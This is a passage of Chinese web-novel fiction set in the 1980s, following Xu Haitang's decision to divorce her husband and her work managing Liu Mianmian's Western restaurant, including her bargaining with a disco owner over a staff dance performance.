厂子里没多少人知道,贾荭年轻的时候其实跟他大哥孙敏华处过对象,只是一个是双职工子女,自己还是个干事,一个是家里拖着三个弟弟的临时工,条件相差实在太大,最后不得不分开。 但是贾荭这些年其实也帮了他们家不少的,老三那个临时工还是她介绍的,所以孙敏俊是真的很感激她。 “嗐,我也是看你们不容易。”贾荭看了眼孙敏俊,笑了笑。 从服装厂出来,许海棠就往娘家的方向走,她娘家住的是服装厂早年的福利分房,一个大杂院里独立的一个小院子。不过刚拐进巷子,她就被拦住了。 “许海棠,你耍脾气还没耍完吗?”孙敏俊皱着眉头看着她,“不过是吵了两句嘴,这都几天了,你还没消气吗,跟我回去吧?” 许海棠有些诧异,看了眼手表,隔着摔出裂纹的表面看了眼指针,奇怪地问:“孙敏俊,你今天没上班吗?” 她很快反应过来:“是不是有人跟你说了什么?” 作为家里唯一的正式工,孙敏俊对待工作是很认真的,平时从来不迟到早退,更不会无缘无故旷工,结合自己刚从服装厂出来,许海棠自然很快猜到,他应该是知道她去辞职的事情了。 孙敏俊原本还想把人先哄回家,到时候再好好劝,现在被许海棠这么一问,他的火气马上又起来了。 要不是许海棠不声不响做这种事,他哪里会请假跑出来?他们队长听说他要请假,眼睛都差点瞪出来。 车队队长其实是奇怪孙敏俊这个从来不请假的人突然请假,但是孙敏俊内心很不安,生怕队长是对他请假有意见。 他这个人其他方面都挺活络的,就是对自己这份工作有种偏执的情感,总是害怕失去。 想到自己小心翼翼兢兢业业,还时常害怕被人寻到什么错处丢了工作,许海棠却一点都不珍惜这份工作,还要主动辞掉工作,他就越想越气。 “对!是有人跟我说了,说你交了辞职申请!”孙敏俊的声音一下子大了起来,夹带着显而易见的怨愤,“许海棠,我原先一直以为你是一个温柔善良识大体的女孩子,没想到你这么自私,为了几块钱的遣散费,你甚至不愿意把工作让给我兄弟!” “我为什么要把工作让给你兄弟,就因为他们都扒在你身上吸血吗?”许海棠无语地笑了下,“孙敏俊,从咱们结婚的现在,结婚前你承诺过的一切,哪怕一样,你有兑现过吗?你结婚,其实就是想找个人和你一起背负这个家庭,你自己为这个家当牛做马,你还要再拉一个人和你一起当牛做马?” 许海棠抹了一下落到脸颊的眼泪,一下子心如死灰:“孙敏俊,我结婚,不是为了给别人当牛做马的。” 她是一个在父母宠爱中长大的姑娘,她知道相濡以沫的夫妻是什么样的,结婚以后不久,她就对这段婚姻失望了。 但是她也知道,哪怕法律规定夫妻感情不和可以离婚,可这年头离婚是要被人说三道四的,离婚了的女人在左邻右舍间都是抬不起头的。 而且,她还有一个十六岁的妹妹,她要是离婚了,以后妹妹找婆家都会受到影响的。 她每次闹脾气回娘家,其实左邻右舍也会指指点点,有些人还会蹬鼻子上脸地“教育”她,说一些诸如哪对夫妻不吵架,大家都是这么过来的之类的话。 许海棠其实是乖巧老实的性格,但她也是个很执拗的人,如果是自己有所亏欠,她是会尽力弥补的,但如果她自觉没有任何错处,她也不会一直忍耐低头。 原书里她弄丢了金银首饰,虽然那些东西是她的嫁妆,但她觉得婆婆说的也没错,这些东西以后都是她和孙敏俊的孩子的,她弄丢了孩子们的宝贝。因为东西已经丢了,孙家人自然也不会再说让她把东西拿出来贴补弟弟的话,只是用这些话术,指责她这个做妈妈的不负责任。 加上后来很快怀孕,许海棠就更觉得自己对不起孩子。 但如今的现实是东西没有丢,孙家人贪婪的嘴脸也日渐暴露出来,许海棠的反应自然也和原书里不同了。 只是,她还是不敢说离婚。 她对孙敏俊是有感情的,她觉得孙敏俊对她也是有感情的,只不过是被那个家庭束缚住了。 可现在,看着眼前暴怒到面容扭曲的孙敏俊,许海棠忽然有些怀疑,孙敏俊真的对她有感情吗? “一家人相互扶持,怎么能说是当牛做马?海棠,做人不能这么自私的,我们不能只顾着自己的日子,不顾家里其他人。要是没有他们,我也进不了服装厂,也认识不了你是不是?”孙敏俊忽然放软了语气,哄着她,“你把工作让给大哥,我跟娘说,以后咱们少交一点钱,咱们好好过日子,生个孩子,好好把他养大。” 许海棠扯了扯嘴角,忽然问:“孙敏俊,从碰面到现在,你有问过我一句,没了工作以后怎么过吗?” 孙敏俊一滞,说:“你不是要去什么餐厅挣大钱?” 许海棠看着他:“万一那个餐厅老板是骗子呢,万一那个餐厅开不了几天就倒了呢,万一我干了没几天就被老板开除了呢?” 孙敏俊的声音轻了下去:“怎么可能,你找工作难道不打听清楚?实在不行,到时候再让你爸想办法。你不在服装厂上班也好,厂里就不会有什么闲话了……” 许海棠:“孙敏俊,咱们离婚吧。” 得知她申请辞职以后,他不是劝她不要辞职,而是让她把工作转给他的兄弟。 这样,她一直捏着不肯交出来的工资,就能名正言顺到他妈、他兄弟的手里了,他们也不需要再争吵了,她甚至会没了反抗他的勇气。 实在不行,就让她爸妈想办法。 呵。 许海棠忽然觉得,自己就像做了一场梦,梦醒来只留满地的碎屑。 柳绵绵不知道许海棠的事情,只知道面试后的第三天,许海棠就穿着一身干练的西装裙、踩着高跟鞋来上班了。 这身衣服明显还是靓靓服装店置办的。 柳绵绵向餐厅的人介绍了她,把原先陈经理整理的一本工作笔记交给她以后,自己就窝在靠窗的位置晒太阳了。 拿着一本繁体字工作笔记的许海棠:“……” 柳老板说会带她几天,就是这么带? 不过幸好这几天她也没闲着,找她爸在国营饭店工作的朋友了解了一些高品质食材的进货渠道,还找当会计的表姐临时突击了财会方面的知识,好歹也不是什么都不懂了。 柳老板之前也说了,一个月试用期,要是干不下来,她会直接换人的。 但是,她肯定能干下来的。 看着风风火火干事的许海棠,柳绵绵也是很欣慰,许海棠这是进化了啊,现在她已经不是许海棠了,她是钮祜禄海棠了。 在西餐厅“监工”了三天后,柳绵绵就回家了。 许海棠的学习能力非常强,而且她也非常刻苦,每天都是第一个到餐厅,最后一个离开餐厅,前面两天还稍微有些生涩,到了第三天,就已经非常熟练了,不知道的,得以为她在西餐厅干了至少三年了。 柳绵绵感觉自己是又找到了一个卷王。 蒋红梅刘安民是卷王,余国梁王志远是卷王,现在又多了一个许海棠。 她还是回家做点不卷的事情吧。 比如看看资料,打电话让港城的股票经纪调仓换个股票什么的。 几天后,刘婶从知青菜场回来,一进家门就冲石榴树下躺着的柳绵绵说:“哦呦,绵绵啊,你前两天是不是说那个许海棠去你那个餐厅里当经理了?那你知不知道啊,她和孙老二在闹离婚了哦。” 柳绵绵还真不知道。 她其实一直觉得许海棠嫁去孙家,应该是处对象的时候恋爱脑发作,脑子进水做的决定。其实那天许海棠跟她说那些事情的时候,她都差点脱口而出让她不行就赶紧离婚,及时止损。 不过最后还是没说。 因为她看出来许海棠好像有顾虑。 结合原书里她在孙家遭受了那么多也一直没离婚,柳绵绵也说不好,她是和孙老二太有感情了还是怎么的。 倒是没想到她决定离婚了。 别看刘婶说的是他们在闹离婚,柳绵绵却是马上就知道了,是许海棠提出离婚了。毕竟就孙家那情况,孙老二跟许海棠离了婚,想再找一个她这样条件的,几乎是不可能的。 这个世界上傻乎乎只看感情的人终究是没那么多的。 “刘婶你早先不就说过,许海棠嫁他们家可惜了,现在离婚不正好?”柳绵绵道,“不过孙家可能没那么容易同意吧。” “可不是。”刘婶放下菜篮子,拉了条板凳坐到柳绵绵旁边,“哦哟,你是不知道,她婆婆在外面话说的多难听,说什么她家老二辛辛苦苦在外面跑车挣钱养家,她倒是受不了寂寞跟人勾勾搭搭的,现在更是想把他们家孙敏俊给一脚蹬了。偏偏他们家孙敏俊是个痴情的,都这样了也不愿意离婚,还想挽回他媳妇儿。” 刘婶叹了口气。 他们这个年纪的人,倒是也没有过不下去就离婚的想法,但是想想孙家那境况,又觉得许海棠也实在是可惜。 柳绵绵想了想,就把孙家要求他们夫妻一个交四分之三、一个交一半工资,还有想贪许海棠的嫁妆给小叔子当彩礼事情说了说。 刘婶一听顿时就无语了。 她自己就有两个儿子,可是从没想过要儿子的钱,只想着尽量多攒点钱,回头好给儿子娶媳妇儿。 这孙家负担是挺重的,可好歹四个大老爷们儿都成人,怎么的也该自食其力了吧? 老二两口子宽裕一点,如果他们愿意,多帮衬家里一点,如果他们不愿意,那肯定还是要以自己的小家庭为主的。 “这孙老二,大家都说他挺活络的,怎么是这么个性子啊!”刘婶心里可是清楚的,这种事情婆婆肯定是做得不对,但是归根结底问题还是在孙老二那里,他做儿子的不为自己的小家争取,难道还什么事都指望媳妇儿? “哦哟,那这么看,这孙家真是不能嫁啊!” 原先还说至少孙老二是个好的,人长得周正,工作也好,还是个活络会捣腾钱的。 可你要都捣腾给了老娘,有什么用? 养兄弟,养兄弟孩子啊? 那可真是个糊涂的。 “不行,我得去外头说说去。”刘婶赶忙就起身跑出去了。 柳绵绵笑了起来,她和刘婶说这事,就是让刘婶出去宣传宣传的意思。 可不能让孙家人混淆视听,蒙蔽广大人民群众的眼睛。 过了一会儿,刘婶和蒋红梅一起回来了。 “你在家闲着没事干,也不去店里看看?”看到柳绵绵这副悠闲的样子,蒋红梅就有点无语,外面店越开越多,大家都是卯足劲挣钱,这位倒好,一副养老的模样。 柳绵绵理直气壮:“我只是投资人,说好了主要出钱的,越俎代庖的事情我可不干,这样容易引起股东之间的矛盾和纠纷。” 蒋红梅:“……你可真能给自己找借口。” 她在柳绵绵身边坐下,说:“我过来是跟你商量正事儿,广市那边要在现有的批发市场旁边建新的市场,刘安民打电话来,问咱们要不要投一个档口。” 柳绵绵稍稍坐直了身体,严肃地看着她:“蒋红梅同志。” 蒋红梅被她这副样子搞得一愣一愣的:“怎么,你不同意啊?广市的批发市场档口生意真的很好的,你是没去看过,那真是货都跟抢似的。” 柳绵绵拍拍她的肩膀:“蒋红梅同志,我是想说,投一个档口肯定不够的,咱们要投就多投几个。”说完就忍不住哈哈笑了起来。 蒋红梅:“……” 被这家伙给耍了。 她忽地站了起来,扑过去挠柳绵绵到腰:“你敢耍老娘……” 手才刚碰到柳绵绵到腰,就听见身后有人咳了一声,清润温和却又暗含气势的声音:“蒋红梅同志,躺椅不怎么牢固,注意安全。” 蒋红梅倏地就站直了,回过头,果然看见沈维舟拎着公文包站在几步远的地方。 干笑了几声,蒋红梅表示自己不敢了。 沈维舟瞧着文文弱弱的,可那通身的气势还真是有点唬人,反正蒋红梅是不敢在他面前“造次”的。 沈维舟冲她点点头,看了柳绵绵一眼,转身回了东厢房。 蒋红梅压低了声音:“啧,你男人可真小气,开个玩笑都不行。” 柳绵绵无辜摊手。 两人很快开始商量档口的事情。 这时候广市也是处于起步发展阶段,所以各方面政策都比较优惠,批发市场档口的价格也不高。但不用多久,这些档口的价格会越来越高,甚至到了有钱也买不到的程度。 所以柳绵绵是觉得反正要买,干脆就多买几个,不管以后自己做,还是转手给别人,反正都不亏。 正好,这个档口也不是马上就要投钱,前期只需要交一部分的定金,柳绵绵估算了下,等到它建好交钱,自己投的其他项目应该都已经挣钱了,到时候拿利润去买应该也足够了。 档口其实还是小钱,但有了批发档口之后,他们总不能去别的工厂拉货来卖吧?所以其实更费钱的是,他们必须得开服装厂了。 原本蒋红梅还想等多攒点钱,然后先开个小作坊,但现在有这样的好机会,她也知道,肯定是要加快节奏了。 所幸开服装厂的成本也不算太高,主要就是布料和缝纫机,规模也可以从小到大,先弄个二三十台干着,回头货卖得好的话,可以再陆续增加人员和设备。 蒋红梅心里琢磨着,就想赶紧回去打电话,找刘安民商量商量。 不过她又想起个事情:“丁明霞来找过你吗?” 柳绵绵想了想,说:“好像听邻居说我们去乡下那阵有个疑似她的人出现过。”只是后面也没见她再出现,所以也不好确定是不是丁明霞。 “哦,那应该就是了。我听说她想过来找你要钱,没找着人,回去的路上还摔断腿了,从医院回家以后,就再没下过楼。”蒋红梅无语道。 柳绵绵:“……” 第64章 在危险边缘徘徊 南城电视台最近在播放经典武侠剧《射雕》,这部剧可真是老少咸宜,就连沈伯康都被勾得每天准时准点蹲守在电视机前。但同时,另一个电视台则在播同样大热的电视剧《沪城风云》,俞婉被里面风度翩翩的“发哥”迷住了,每天准时准点跟沈伯康抢电视。 虽然主演和剧情略有偏差,但总的来说,这两部剧和柳绵绵上辈子看过的大差不差,所以她倒是一点都不上头。 沈维舟一向对电视剧没什么兴趣,自然也不会参与电视机争夺战。 剩下刘婶和王叔,一个支持俞婉,一个支持沈伯康,于是四人经常争电视机争得不可开交。 当然,沈伯康和王叔屡屡战败。 于是某一天沈伯康下班回家,直接就带了一台电视回来。 黑白电视,尺寸也很小,但是对于两个中年武侠迷来说,已经足够了。 双方化干戈为玉帛,刘婶准备瓜子茶水的时候,也大方帮他们准备。 “那两部电视,你都不喜欢?”沈维舟坐在写字台前,扭头看向靠在床上的柳绵绵。 柳绵绵拿着一支笔在笔记本上写写画画:“还行吧,看也可以,不看也可以,主要最近有点冷,坐那儿看电视,冻手冻脚的。”而且,看惯了后世那些高清晰度的电视剧,这时候电视剧的画质真的不太能接受啊! 沈维舟若有所思:“那咱们买一台电视放房间里?” 柳绵绵看向他:“你不觉得太吵了?” 沈维舟:“我怕你无聊。” 柳绵绵只好说实话:“电视机清晰度太低,其实看着也挺累的。” 她想了想,忽然抱着枕头转了个方向,趴在枕头上翘脚看着沈维舟:“你说现在港片这么火爆,我们买几台电视机来放片子收门票好不好啊?” 沈维舟眼神微闪,说:“电视台是免费播放的,应该没有人会专门花钱去看这个吧?” 柳绵绵笑道:“你不知道吧,南边现在有那种专门播放电视的录像机卖,电视台来来去去就是播那么几部片子,录像厅可以播很多片子啊,而且电视台每天只播两集,录像厅可以一次看个爽。就好比随便一块空地都可以跳舞,但是年轻人还是喜欢去舞厅跳舞的道理是一样的。” 社会变化日新月异,上半年大家还只是在单位联谊的时候跳跳舞,下半年两个舞厅横空出世,小年轻们就再也不满足于规规矩矩的跳舞啦,纷纷以去挂着球灯的舞厅里跳舞为荣。 在五光十色的灯光中尽情舞动,那才叫青春呀! 沈维舟有些头疼,干脆把写字台上的文稿都收拾了,走到床边坐下,问:“你去过舞厅?” 保密单位时常要搞思想教育和安全教育,最近单位三令五申让大家不要去舞厅,据说里头人员鱼龙混杂,且小年轻激动起来还容易打架斗殴,再一个,这种地方去多了,钢铁意志的研究人员怕是也要被腐蚀。 沈维舟这严肃的样子把柳绵绵给逗笑了:“去过怎么,没去过又怎么?” 沈维舟自然不会说让她不要去舞厅的话,而是抓起她的手,委屈道:“没怎么,只是我们单位出了个内部规定,严禁大家去舞厅,我不能陪你去,也不知道舞厅里安不安全。” 哎哟,这是以退为进啊! 柳绵绵故意逗他:“你不能陪我,我让其他人陪我去呀,我们西餐厅好多年轻小伙子呢。” 沈维舟略一回想,还真是。 当初林家二小姐招人,服务员的首要条件就是长相端正、身材高挑,加上她舍得花钱,出的工资也高,所以西餐厅的服务员真是个个盘靓条顺。 别看柳绵绵称呼人家是年轻小伙子,实际上她的年纪并不比人家大,差不多都是同龄,有些可能比她还要大一点。 沈维舟最近工作又忙了起来,他负责的那个项目,所里给予了高度的重视,提出要在春节前攻坚突击,到时候作为新春献礼上报,时间紧任务重,只能加班加点。 他能正常下班,全靠动作快,但是其他人,跟不上他的进度,就只能搬着被褥住到办公室去了。 哪怕如此,他在家的时间也比以前少了很多,跟已经连弹琴都不去了的柳绵绵相比,就更少了。 沈维舟忽然发现媳妇儿成天无所事事好像也不好,容易被靡靡的场所诱惑,他蹙眉,忽然问:“你要不要找个单位上班?” 柳绵绵乐得不行,伸手往他脑门儿上探了探,用夸张的语气说:“也没发烧呀,怎么说胡话呢?” 沈维舟顺势倾身抱住她。 柳绵绵抬头亲了他一口,说:“我现在是当老板的,知道最好的老板是什么样的吗,最好的老板就应该啥事儿不敢只管等着收钱,成天指挥员工这个那个,会画个圆就敢说自己能摘月亮,员工把月壤都弄到手了却说这什么垃圾的,那才是讨人厌的老板。” 她指指自己:“我要做一个受人喜欢的老板,搞无为而治。” 这一通歪理邪说。 沈维舟无语之余,又问:“月壤?” 柳绵绵心底一虚,也不知道原主的知识面里包不包括这些,嘴上仍旧理直气壮:“对啊,月壤,我很爱学习的好伐啦,经常看报纸听广播的,对世界尤其是咱们华国的航空航天事业充满了信心,相信不久的将来,我们自己都航天员也能登上月球。” 沈维舟微微挑眉,轻笑了下:“你倒是对航天事业充满信心。” 柳绵绵又亲了他一口:“我对你的事业更有信心,虽然不知道你在做什么,不过我相信你一定是最棒的……唔……” 剩下的话被沈维舟用唇堵了回去。 天气越来越冷,柳绵绵也就越来越能践行“好的老板啥事不管只管收钱”的准则,成天窝在院子里晒太阳看小说。 她让刘安民从广市买了港城的各种小说,刘安民还顺手给她寄了一包杂志。 相比武侠小说,那些看上去不像是正常发行的杂志尺度才叫大,什么利用**换取情报的女间谍啦,什么误入歧途的清纯高中生啦,里头用大量的篇幅细致地描绘了某些小绿网站会变成口口口的情节。 据说这些杂志在广市极受欢迎。 刘安民也是变坏了。 不过批判地看一下人民群众喜闻乐见的杂志也是可以的。 除了批判地看杂志,柳绵绵还要批判地收听节目。沈维舟工作的关系,他是申请了境外电台的收听权限的,为的就是批判地接受一些国际上的讯息。白天沈维舟不在,柳绵绵就在家批判地收听港城电台的股讯节目。 得亏她上辈子喜欢唱粤语歌曲,花苦工学过粤语,不然就算是能收到节目,估计也是有听没有懂的。 当然,作为一个在前进乡长大的普通女孩,原主肯定是没有接触粤语的机会的,所以家里其他人问她听不听得懂时,柳绵绵只说在西餐厅时听陈经理说话听习惯了,能听懂一点点。 就凭听懂的这一点点,她已经连续押对了近十只股票,最近徐蕙云女士每回打电话来,都要说家里的阿姨已经认定柳小姐是股神了。 据说狗仔天天蹲在徐女士豪宅外,想要采访徐女士,电台也几次三番打电话,邀请徐女士去做节目,徐女士被烦得不行,祭出“封建迷信”大招,说大师提点过,她的财运只属于自己,如果其他人想要借势,只会适得其反,输得倾家荡产。 之后外面再没人敢说让她带着炒股。 徐蕙云在电话里说起这件事时,电话两头都笑得前仰后合,柳绵绵乐不可支地夸:“徐女士,你是我见过最犀利的女士啦!” 徐蕙云就在电话那头说:“那你来港城呀,徐女士亲自带你去经纪行。” 柳绵绵笑着回答:“明年啰,快要过年了,今年来不及,明年有机会的话就去。” 随着除夕临近,柳绵绵倒是接到了不少好消息,服装店生意爆火,货发了一批又一批,还是不够卖,最后刘安民直接包圆儿了好几个批发档口的尾货,带了满满一车厢的货回来,竟然也几乎卖光了。 前进乡那边池塘的鱼据说也趁着年前这几天卖了个极好的价钱。榨油坊在设备到位以后也迅速地开了起来,前期宣传的基础上,采用了柳绵绵提议的,榨三斤免费一斤的策略,也取得了开门红。 相比之下,倒是西餐厅的生意下滑了一点。当然,主要也是因为年前这段时间,春节的氛围比较浓,吃西餐的人自然会少一点。 柳绵绵还没说什么,许海棠倒是着急得不行,这天中午档刚结束就风风火火地冲到了求知巷9号院。 “春节期间大家受氛围影响,更喜欢吃传统菜肴,这一点我同意。但是,春节期间走亲访友、请客吃饭的多了也是事实,在总需求量增加的情况下,我们的生意却出现下滑,我觉得是不应该的。”许海棠严肃说。 柳绵绵:“……” 有时候一个人当老板也是挺无助的。 许海棠也不用柳绵绵给什么反馈,她自顾自就说下去了:“尤其是正月这段时间,正是大家手头宽裕的时候,这时候花点钱吃上一顿平时舍不得吃的西餐,也是很正常的。所以我想着,正月这段时间我们不能放松,相反还要推陈出新。我已经请几位大厨好好的开发几个新品了。还有,最近不是大家都喜欢去舞厅跳舞吗,那些年轻人应该都是咱们的潜在客户,所以我想着,咱们是不是去舞厅打个广告?” 柳绵绵:“嗯?” 许海棠不好意思地笑了笑,说:“咱们餐厅的姑娘小伙不是都长得不错嘛,我就想着,是不是组织他们去舞厅跳个开场舞什么,穿咱们店里的服装,身上系个带我们餐厅名字的绶带什么,这样别人看了就记住我们了。” 柳绵绵:“………………” 这还是许海棠吗? 确定不是被人魂穿了吗? 许海棠能想出这种广告手段? 俊男美女,组团跳舞,制服诱惑……啧,怎么感觉她的餐厅已经在“擦边”的危险边缘徘徊? “这会不会不太好?”柳绵绵问。 许海棠认真道:“老板,你可不要对舞厅有什么偏见,两家舞厅我都去看过了,其实他们经营都很正规的,就是有共同爱好的年轻人一起跳跳舞,特别是那家叫一起迪斯科的,我感觉里面氛围还是挺不错的。他们老板觉得我的点子挺不错,说是可以免费让我们跳一个星期。” 柳绵绵还能说什么,只能替餐厅的姑娘小伙们先社死一下了。 不过,她感觉许海棠被人忽悠了:“咱们虽然是去打广告的,但是咱们组织一群俊男美女去表演节目了呀,开场舞不就是表演节目吗?什么叫免费让我们跳一个星期,他应该付我们演出费的。” “啊?”许海棠瞪大了眼睛,“可是,我们中间要宣传餐厅的……” “你换个角度想,如果他请的是南城歌舞团,他是不是要给人家演出费?南城歌舞团在表演的时候难道不会宣传他们歌舞团吗,肯定也要宣传的,所以其实是一样的道理。不能因为咱们是餐厅组织的就不给咱们报酬。” 柳绵绵想了想,说:“咱们可以取个名字啊,就叫芷江西餐厅歌舞团,看,咱们也是歌舞团了,演出费,名正言顺。” 这回换成许海棠无语了。 她原本是觉得用这种方式宣传餐厅应该挺不错的,人家舞厅老板说免费,她都挺感激的,觉得是遇见好人了。 但是被柳绵绵这么一说,换个角度一想,许海棠就觉得,舞厅老板太鸡贼了,得了便宜还卖乖。 “那我再跟他谈谈去。”许海棠站了起来。 柳绵绵提醒她:“到时候歌舞厅那边的演出费你直接给他们分了,按照他们的标准,店里也给一份演出费。还有,让金老师介绍个人给他们培训一下,老师的费用也从店里出。商量好演出时间,记得告诉我。” 跳舞她没兴趣,但是看姑娘小伙们穿制服跳舞她还是有兴趣的。 尤其还是自己熟悉的姑娘小伙。 跳得好,就是一饱眼福,跳得不好,就是哈哈哈。 说实话,许海棠想的这个招还挺有意思的,不止西餐厅,其实靓靓服装店也合适呀,几个店里都有年轻漂亮的营业员……唔,蒋红梅和刘安民还可以带头领舞。 许海棠匆匆走了。 西厢房里温习功课的沈维云窜了出来,她已经放寒假了,前几天到的,回家以后冲着爹妈哥嫂一通诉苦,医学牲真是太难了。不过诉苦归诉苦,每天还是老老实实看专业书。用她自己话说就是,寒假多看一点,下学期就能少受点苦。 “我听见你们在说什么舞厅?”挤眉弄眼的。 柳绵绵反问:“首都有舞厅吗,你去过吗,一个人去的的还是和谁一起去的?” 沈维云顿时乐了,在柳绵绵旁边坐下:“嗐,我每天学习都没时间,哪里还有时间去舞厅啊?不过听说是有舞厅,好几家呢,我们同楼的学姐去过。” 她摇着柳绵绵的胳膊撒娇:“你是不是要去舞厅,带我去带我去!” 柳绵绵笑眯眯,压低声音:“我们餐厅的姑娘小伙正月要去舞厅演出,回头我带你去看,不过……” 她顿了下,双手交叉:“不要告诉你哥。” 沈维云点头如捣蒜:“知道知道,不告诉我哥,他就是个老古板,大醋桶。” 柳绵绵:“……” 这可真是亲妹妹。 另一边许海棠已经风风火火地冲到“一起迪斯科”舞厅了。 大白天的,舞厅里也没什么人,舞厅老板伍衡顶着鸡窝头从休息室走出来:“哟,这不是许经理吗,怎么了,你们那个什么表演准备好要表演了?” 许海棠就把柳绵绵说的那些话稍微加工了一下,委婉地说了一遍。 伍衡抽了抽嘴角,差点被气笑了:“就你们餐厅那些滥竽充数的过来随便扭一扭动一动,我不收你们钱就不错了,你们还跟我要演出费?” 他五官硬朗,脸颊还有一条不是很明显的疤,整个人气质痞痞的,尤其眯着眼睛看人的时候,看上去吊儿郎当的,有点凶,还带点坏。 许海棠默默退后一步,勉强鼓起勇气,争辩说:“伍先生你都还没看过我们的歌舞团的表演,你怎么就知道我们是滥竽充数?” 伍衡真是忍不住气笑了:“不是,你昨天过来还说就餐厅服务员排个简单的舞吧,怎么的,过了一夜,就变成歌舞团了?你们老板可真行啊,这是想讹我来了吧?” 许海棠默默地又往后退了一步。 伍衡啧了一声,从兜里拿出个烟盒,抽出一支烟,点上吸了一口,才说:“行吧,既然是歌舞团,让你们的人过来表演给我看看,我总得看过了,才能确定你们值不值吧?” 许海棠定了定神,一连串地说:“行,谢谢伍老板,我们尽量争取年前就把节目排好,大年初三咱们正式演出。预祝合作愉快!” 她伸出手,看伍衡没有伸手的意思,又收回了手,点头:“那伍老板,回头见。” 踩着高跟鞋咔哒咔哒地走远了。 伍衡站在那儿,看着女人故作镇定的背影,嘴角扯了扯。 明明胆子小得要命,还要装作什么都不怕的样子。 看到那个穿着套裙的背影,在走出舞厅大门后,突然撒腿开始小跑,伍衡终于忍不住笑出了声。 她关了下门,估计以为关上了,他看不见了,却不知道那扇门合页有点坏了,不好关的。 就说这人胆子小得要命吧? 第65章 你们老板真是好样的 许海棠果然风风火火地开始排练节目,她从餐厅的服务员里挑了十个,当然也是自愿原则,上午、下午各训练一个半小时。 这么一来,有的人需要排练,不排练的人活儿自然也多了,于是许海棠又跟柳绵绵申请了个补贴奖金,统一给大家每天多发一块钱。别看一块钱听起来好像不多,可排练个十来天,能多十块钱工资呢,在这年头也算是一笔大钱了,所以大家也都很高兴。 排练的小年轻,都是活泼开朗喜欢表现的,有几个自己也说,听说舞厅热闹,原本就想着放假了去跳舞的,这下不但能去跳舞,还能有钱拿,那肯定热情高涨啊! 年前不少家庭已经开始红红火火地准备年货了,但是西餐厅里倒是重新燃起了一股奋斗的火焰,哪怕不是参与演出的,没事也要过来跟着学两手。 舞厅那么火,没准就有机会过去炫一把呢? 柳绵绵自然也不用操心家里年货的问题,她挑了风和日丽的日子,来餐厅看了几回,顺便给大家提了点意见。 她虽然不怎么会跳舞,但是上辈子那些短视频也不白刷的。她穿过来的时候,网络上正流行团播呢,满屏大长腿的诱惑力,可是经过网络验证了的。 西餐厅的姑娘小伙儿们哪里见过这个呀,那些动作感觉有点羞耻,但是整齐划一的,又挺好看的,甚至还挺洋气的。 作为一个日趋成熟的老板,柳绵绵也逐渐熟练掌握洗脑大法:“咱们是源自港城的西餐厅,餐厅的一切都照国外来的,肯定方方面面都要领先潮流。你们觉得洋气就对了,我们绝对是南城最洋气的。” 姑娘小伙儿们腼腆地笑了笑,等到真的跳舞时,却跳得更欢快更放松了。 没几天,原本还忧心忡忡的许海棠也开始自信心满满了,南城歌舞团也跳不出他们这么洋气的舞蹈。 他们这么好的节目,舞厅就该给他们演出费。 腊月二十六这天,许海棠带着餐厅的十个人雄赳赳气昂昂去了舞厅。 伍衡正带着舞厅的工作人员在舞厅后头的空地上烤肉,北风呼呼的,一整个羊腿架在石头上,烤的滋啦作响。 他头发总是乱糟糟的,那天是跟个鸡窝一样,今天却是左边翘一戳右边翘一戳的。 看见许海棠他们,他乐了:“哟,你们倒是赶巧了,我这羊腿刚好烤得差不多了。” 许海棠他们自己就是做餐饮的,他们餐厅的牛排,煎出来的时候也是滋啦作响,香得不行。不过毕竟他们是一片一片的煎,伍衡这一烤一整个羊腿,还是让西餐厅一众人有些吃惊。 这开舞厅的老板就是不一样哈,大冷天的,吹着西北风,带着大家烤羊腿。 伍衡打了个招呼后,就自顾欻欻往羊腿上洒调料,接着就拿了把小刀割了一大块肉下来,放到盘子里递给许海棠:“来的早不如来的巧,既然碰上了,那就一起吃点吧。” 许海棠迟疑了下,伍衡直接把盘子塞她手里:“我这现烤的,没毒,放心吃吧,吃完了再说事儿。” 许海棠犹豫了一下,就把盘子给了旁边一个小伙儿,让他帮着分分。 最后大家都撕了一点,给许海棠留了块挺大的肉,许海棠看了看自己的手。 算了,不干不净吃了没病。 她用两根手指捏起来。 闻着很香,吃起来也很香,咸淡适中,还有很浓郁的调料的味道。 老实说,比起他们餐厅的牛排,许海棠更喜欢吃这个烤羊肉。牛排是洋人的吃法,半生不熟的,刀刀叉叉,一切一小片红血丝。这烤羊肉才是华国人熟悉的味道,带着烟熏火燎的镬气。 伍衡也吃了起来,随手又切了一块要给许海棠,这回许海棠坚决拒绝了,她是来谈生意的,可不能一而再再而三地接受对方的糖衣炮弹,不然一会儿商量演出费的时候就不好开口了。 伍衡举着把锃亮的刀,笑了下,说:“你们是排练好了?那就跳呗。” 许海棠看了看周围,问:“就在这里?” 伍衡点头,说:“就在这里吧,在这里跳着好看,回头在里面灯光一打会更好看。” 这个舞算是他们的秘密武器了,许海棠还是有保密意识的,她今天没有带伴奏带,不准备放音乐,也不准备跳完整场,准备就让大家跳个一小节。 所以其实在哪里跳都没关系。 而且,她对他们这个舞有信心,正如伍衡所说,他们在外面跳也好看的,到时候灯光一打会更好看。 许海棠点点头:“行。” 她看了眼田苗苗,自己往旁边退了退,田苗苗往前一步,另外四个姑娘自觉站到了田苗苗的两旁,剩下五个小伙子则分开站在了后排。 十个人齐齐举手打了个响指,每个人的表情一下子都变得拽拽的,睥睨万物的感觉,然后齐声开始数拍子:“一二三四五六七八,一二三四五六七八……” 明明有点滑稽的场面,但是现场的人愣是被眼前的舞蹈镇住了。 等到一小节演示结束,舞厅这边的人半天没回过神,还是伍衡最先反应过来,拍了拍手,感叹道:“你们这玩意儿看着还挺像那么回事。” 许海棠肃着脸:“伍老板,我们是很认真在准备的!” 伍衡清咳了声:“行行行,知道你们很认真在准备。让他们在这里先玩着吧,咱们去办公室商量一下。” 办公室在远离舞池的偏僻角落,里面一张挺大的桌子,两把椅子,一个柜子,再就是一个长条的沙发,沙发上还扔了一条被子。 伍衡随便揉吧揉吧就把被子扔进了柜子,然后说:“随便坐。” 许海棠看都没看沙发,直接把办公桌前的椅子往外拖了拖,坐下了。 “我们准备演出一周时间,每天晚上九点钟开始。”许海棠单刀直入,“不知道伍老板愿意出多少演出费?” 伍衡找出个搪瓷杯给许海棠倒了杯水,放到她面前,转身在办公桌后面坐下,才慢条斯理问:“你们想要多少?” 许海棠对伍衡总有种莫名的畏惧感,尤其是单单他们两个人,在密闭无人的空间里时,许海棠莫名有些不敢直视他带着几分侵略性的眼神。 